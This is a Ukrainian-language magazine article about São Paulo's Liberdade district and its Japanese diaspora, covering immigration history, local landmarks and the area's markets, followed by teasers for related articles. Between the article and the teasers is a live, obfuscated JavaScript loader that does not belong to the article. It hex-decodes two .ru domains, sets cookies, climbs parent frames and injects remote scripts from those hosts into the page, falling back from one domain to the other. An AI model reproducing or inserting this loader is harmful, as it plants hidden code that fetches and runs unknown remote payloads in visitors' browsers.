RU  UK  EN
Статті  >  Уяви  >  Гетто світу: Самураї на карнавалі.

Гетто світу: Самураї на карнавалі.

Сьогодні в нашій уже традиційній рубриці про національні гетто розповідь про один із найбільш екзотичних для Бразилії районів Сан-Паулу – Лібердаді. Саме тут живе найчисленніша японська діаспора у світі.

Замість рису – кава

Ще на початку 20 століття японська влада переймалася з приводу перенаселення невеликої за площею країни. Уряд поквапом укладав угоди з багатьма державами, де могла знадобитися робоча сила. Першими для азійців свої ворота відкрили Сполучені Штати Америки, де сьогодні живе близько мільйона японців. Однак справжнім бумом стала імміграція до далекої Бразилії, яка стартувала 1908 року. 18 червня в південноамериканський порт Сантус прибув корабель «Касато-мару», кількома роками раніше відвойований у росіян під час російсько-японської війни. З його борту на теплу і квітучу землю зійшло 165 сімей з надією почати нове життя в державі, розміри якої дозволяють думати про майбутнє.

Із майже 800 осіб більшість були селяни, які проміняли рисові плантації на кавові. Цих людей ніхто не зустрів хлібом і сіллю – місцеві газетярі навперебій друкували принизливі карикатури, а роботяги з ненавистю дивилися на тих, хто забиратиме їхні місця праці. Утім, для звиклих до труднощів нащадків самураїв це був лише початок масового переселення. Стійкі і дисципліновані японці не злякалися проблем і расових конфліктів – вони трималися організовано і буквально вигризали своє право на життя в чужій країні.

Сьогодні можна впевнено сказати, що вони вистояли. Адже діаспора японців у Бразилії становить близько двох мільйонів осіб, а самі народи вже настільки поріднилися, що соціологи навіть вигадали новий термін «нісей» – так називають асимільованих вихідців з Країни вранішнього сонця, діти яких народилися в Бразилії, а португальська стала для них рідною мовою.

Вільним людям – вільний район

Переважна частина азійських переселенців осіла у великих містах. Особливо вони вподобали Сан-Паулу, а саме легендарний район Лібердаді, що в перекладі означає «свобода». Хоча до середини 19 століття його назва була значно похмуріша – Площа повішання, бо саме там відбувалися публічні страти. І все ж після скасування рабства і небувалого випадку, коли три мотузки поспіль рвалися і приречену на смерть людину довелося забивати палицями під вигуки натовпу «Свобода!», муніципалітет вирішив перейменувати місце і скасувати показові покарання.

Перші японці з'явилися тут 1912 року. Оскільки бразильці не хотіли жити на місці вчорашніх гільйотин і шибениць, мігранти виявилися тут практично на самоті. Не звертаючи уваги на лиху славу кварталу, вони зі східною працьовитістю узялися переробляти його під себе. Їм вдалося з нуля створити всю потрібну для життя інфраструктуру і перетворити депресивний Лібердаді на яскравий і барвистий район. Щоб почуватися як удома, вони відкрили японську школу, заснували власну газету «São Paulo Shimbun» і навіть фабрику з виробництва знаменитого сиру тофу.

Сьогодні Лібердаді не просто живе, він процвітає. Мешканці Сан-Паулу і туристи обожнюють тамтешню їжу, бари і вуличний колорит. Це місце буквально вириває тебе зі звичного розуміння південноамериканського міста. Здається, що, вийшовши з метро на станціях «Liberdade» або «São Joaquim», ти раптом опинився десь у Токіо. І це не дивно, адже на відносно невеликій території живе понад 300 тисяч японців. Як кажуть: «Де є приязнь, там не тісно», але все ж більше місця, ніж у їхній рідній країні.

Що подивитися

Крім цього дивного азійського світу, який цікавий сам по собі, у кварталі є ще декілька пам'яток. Якщо йти по головній вулиці Руа Галван Буену, то їх точно не пропустиш. Найважливіший об'єкт – Музей японської імміграції, відкритий 1978 року нинішнім імператором Японії Акіхіто. Серед цікавих експонатів музею – фрагмент того самого корабля-першопрохідця «Касато-мару». Дах будівлі прикрашає величний сад.

Трохи східніше височіє Храм Бусінжі – найважливіша святиня району. Щомісяця на його території відбувається дивовижна буддійська церемонія Канон, подивитись на яку збирається і чимало бразильців. Ще одним священним місцем є пам'ятник японським переселенцям, які повернулися на батьківщину воювати в роки Другої світової війни.

Особливо цікаво побувати в районі під час східних свят і в дні проведення традиційного ярмарку. Його зазвичай влаштовують на вихідних, і тоді здається, що весь Сан-Паулу гуляє в Лібердаді. Ця місцина справедливо вважається феноменальною, оскільки завдяки близькому сусідству представників двох народів, такі, здавалося б, далекі одна від одної і географічно і ментально Бразилія та Японія у 20 столітті настільки зблизилися. Між державами працює декілька соціальних програм, і сьогодні вже латиноамериканці їдуть на заробітки в Азію та обживають японські міста і вулиці. Але це вже зовсім інша історія.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16101",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("uk.theoutlook.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Вам це буде цікаво:
Маленькі улюбленці великих міст
Німці заводять не лише німецьких вівчарок, а в Бостоні можна побачити не тільки бостонських тер’єрів. Люди вибирають собак, спираючись на особисті вподобання. Та часом тяжіння місцевого населення до певної породи занадто помітне й інколи стає особливістю певної місцини. Цьому можуть сприяти природні умови, мода і навіть менталітет.
Ми там були: Японія - тонкощі токійського життя
Мало хто з туристів добереться до далекої Японії. Але у Марини Бєлки, дизайнера одягу, це вийшло, адже загадкова Країна Вранішнього Сонця була її дитячою мрією. Вона поділилася з нами враженнями від Токіо і дала майбутнім туристам практичні поради.
Кагосіма: Місто з репутацією камікадзе
«Будуйте дім біля підніжжя вулкана!» - вигукував Ніцше у пророчому екстазі. Похмурий пафос філософа навряд чи збагнули б жителі японського міста Кагосіми, розташованого на дні кальдери Айра, що виникла внаслідок вибуху 22 тисячі років тому. Землероби мотижили уступи котловини з бронзового віку, звично відмахуючись від попелу, розсіяного у повітрі.
Рисові поля: Злаки неземної краси
- Чи не хочете покуштувати рису? - таким питанням зустрічають гостей в Китаї. А якщо господарі виявляться ще і фермерами, вони можуть запросити вас на незвичайну екскурсію і покажуть шедевр природного мистецтва. Рис, який ми часто вживаємо в їжу, не замислюючись про його естетику, в момент вирощування нагадує ковдру, виткану з різнокольорових клаптиків...
"Витягти" з країн по максимуму. Кращі місця для риболовлі
Сьогодні мільйони, якщо не мільярди чоловіків, а часом і жінок по всій планеті відзначають Всесвітній день рибальства. З цієї нагоди ми пропонуємо вашій увазі список місць, де у вас точно клюне. Бразилія, В'єтнам, Киргизстан, Фінляндія - в цих країнах є чим здивувати кожного професійного рибалки чи рибалки-початківця. Тому, тягни, поки клює!
Оце так сервіс! Японське таксі
Найперше, з чим має розібратися кожен турист, опинившись у новій країні – це із транспортною системою. Часто вона здається складною і заплутаною, і щоб збагнути її, потрібні тижні, а може, й місяці. Наша читачка Наталія Усенко побувала в Японії і ділиться своїми враженнями про найбільш комфортний і безпечний транспорт у світі.
На ходу. Вулична їжа в різних країнах світу. Частина 2
Ви, бува, не зголодніли? Ну й чудово, адже ми продовжуємо нашу розповідь про найпопулярнішу вуличну їжу з усього світу. Налітай, поки гаряче! Почнемо з південно-азійської країни Сінгапур - багаті на вітаміни і мінерали морепродукти займають ключове місце в раціоні жителів ...
Superflat: суперплощина японського мистецтва
Любителі аніме ніколи не пройдуть повз сучасне японське мистецтво. Особливо, якщо цей напрямок безпосередньо належить до коміксів манга. Художник Такаші Муракамі був першим, хто замислився, як назватим те мистецтво, котре ловить натхнення в черговому аніме, але говорить про вічні цінності.
Листівки з Бразилії
Беручи участь в одній з волонтерських програм, студентки Інституту Міжнародних Відносин КНУ ім. Тараса Шевченка Анна Візняк та Анна Козирєва поділилися з OUTLOOK своїми яскравими фото про одну з найбільш екзотичних країн Південної Америки - казкову та чаруючу Бразилію.
Відчайдушний футуризм: Японія. Частина 1
Олена Расенко, повернувшись з Японії, розпочинає спеціальний цикл матеріалів про цю країну. Попередження для особливо вразливих: обережно! Після прочитання розвивається гостре бажання зірватися, купити авіаквиток в таку чудову і чарівну країну висхідного сонця!
Гетто світу: Бедфорд: англійська глибинка з італійським присмаком
Сьогодні розповіддю про одне з найбільш дивовижних поєднань, яке тільки можна уявити, таких несхожих одне на одного народів – італійців та англійців – ми продовжуємо нашу рубрику, присвячену етнічним гетто світу. Приготуйтеся вирушити разом з нами в холодний і дощовий Бедфорд, де ми зануримося в теплу середземноморську атмосферу.
У ритмі серця. Японські барабани тайко
Його звуки проникають у саме серце, зупиняють потік думок і змушують кров рухатися в якомусь магічному ритмі. Це гуркіт грому. Це мурашки по шкірі. Це – тайко. Японські барабани на їхній батьківщині зведені у ранг культу. Без них не обходиться жоден офіційний захід, їхня гра тішить слух під час радості і допомагає пережити печаль.
Кінцугі. Японське мистецтво реставрації
Японці – один із тих народів, котрі ревно шанують давні традиції. Вони поважають старість, цікавляться предками і нерідко знають сімейний родовід на пам’ять. З таким світоглядом не дивно, що унікальна техніка реставрації кінцугі з’явилася саме там. Далі про неї – в Outlook.
Оманливий пензель пані Хокусай
Ексцентричний старець Кацусіка Хокусай був справжньою зіркою доби Едо, творчим генієм і нелюдським боржником половини міста. Він мав не менш як 30 псевдонімів, поміняв 93 будинки і створив безліч гравюр, малюнків і картин. Його відома «Велика хвиля в Канагаві» заворожує. Та мало хто знає, що цю ксилографію, як і багато інших робіт, Хокусаю допомагала створювати дочка – загублена в часі і величезній тіні «божевільного живописом» батька художниці Кацусіка Ой.
Departure: Сатояма
У Японії є містечко, жителі якого дуже довіряють одне одному. Довіряють настільки, що п’ють воду з одного джерела, котре протікає через їхні оселі, ще й миють там посуд після їжі. Сатояма, що у перекладі означає ідеальне місце для життя в гармонії з природою, розташоване у північній префектурі Гіфу, ізольованій від решти світу гірськими вершинами і рисовими полями.
Кабукі: тернистий шлях квітки
Традиційний японський театр кабукі завжди лишався загадкою для європейського менталітету: зрозуміти спектакль без підказок гіда може хіба що спеціаліст з культури Країни вранішнього сонця.
Смачна Японія: скуштувати країну на зуб
Морозиво зі смаком конини, мариновані комахи, риба зі смертельною отрутою – японській кухні є чим дивувати, вражати й шокувати. І чесно кажучи, перелік цих страв не завжды сприяє апетитові. Але ми не женемося за екзотикою. Істинний гастротуризм – це спроба збагнути менталітет і відчути національний колорит через традиційну кухню, а не покуштувати найбільш екстравагантних наїдків.
Не лише в центрі цікаво. Спальні райони світу
Мало який мандрівник під час своїх нетривалих подорожей вибирається кудись далі центру міста, де розташований його готель. Якщо ж «дислокація» – ще й мегаполіс, то такі поїздки відкладають «до кращих часів». А дарма, адже саме у спальних районах можна подивитися на незнайому країну очима її жителів, що куди пізнавальніше за екскурсії «галопом» замками і площами.
Полотно з рису. Мистецтво Тамбо
Японці дуже творчий народ, особливо якщо це стосується рису. А якщо в них є ще трохи вільного часу і великі просторі поля, тоді доволі буденний процес вирощування агрокультури перетворюється на мистецтво…
Гетто світу: польське село в Стамбулі
Складно уявити більш несхожі один на одного народи, ніж турки і поляки, котрі відрізняються, либонь, у всьому, починаючи з релігії і закінчуючи кулінарними традиціями. Утім, ніщо не перешкоджає їм мирно й любо уживатися вже понад 150 років на окраїні Стамбула. Саме про це дивовижне сусідство наша сьогоднішня розповідь у рамках рубрики «гетто світу».
Закрити
Outlook facebook page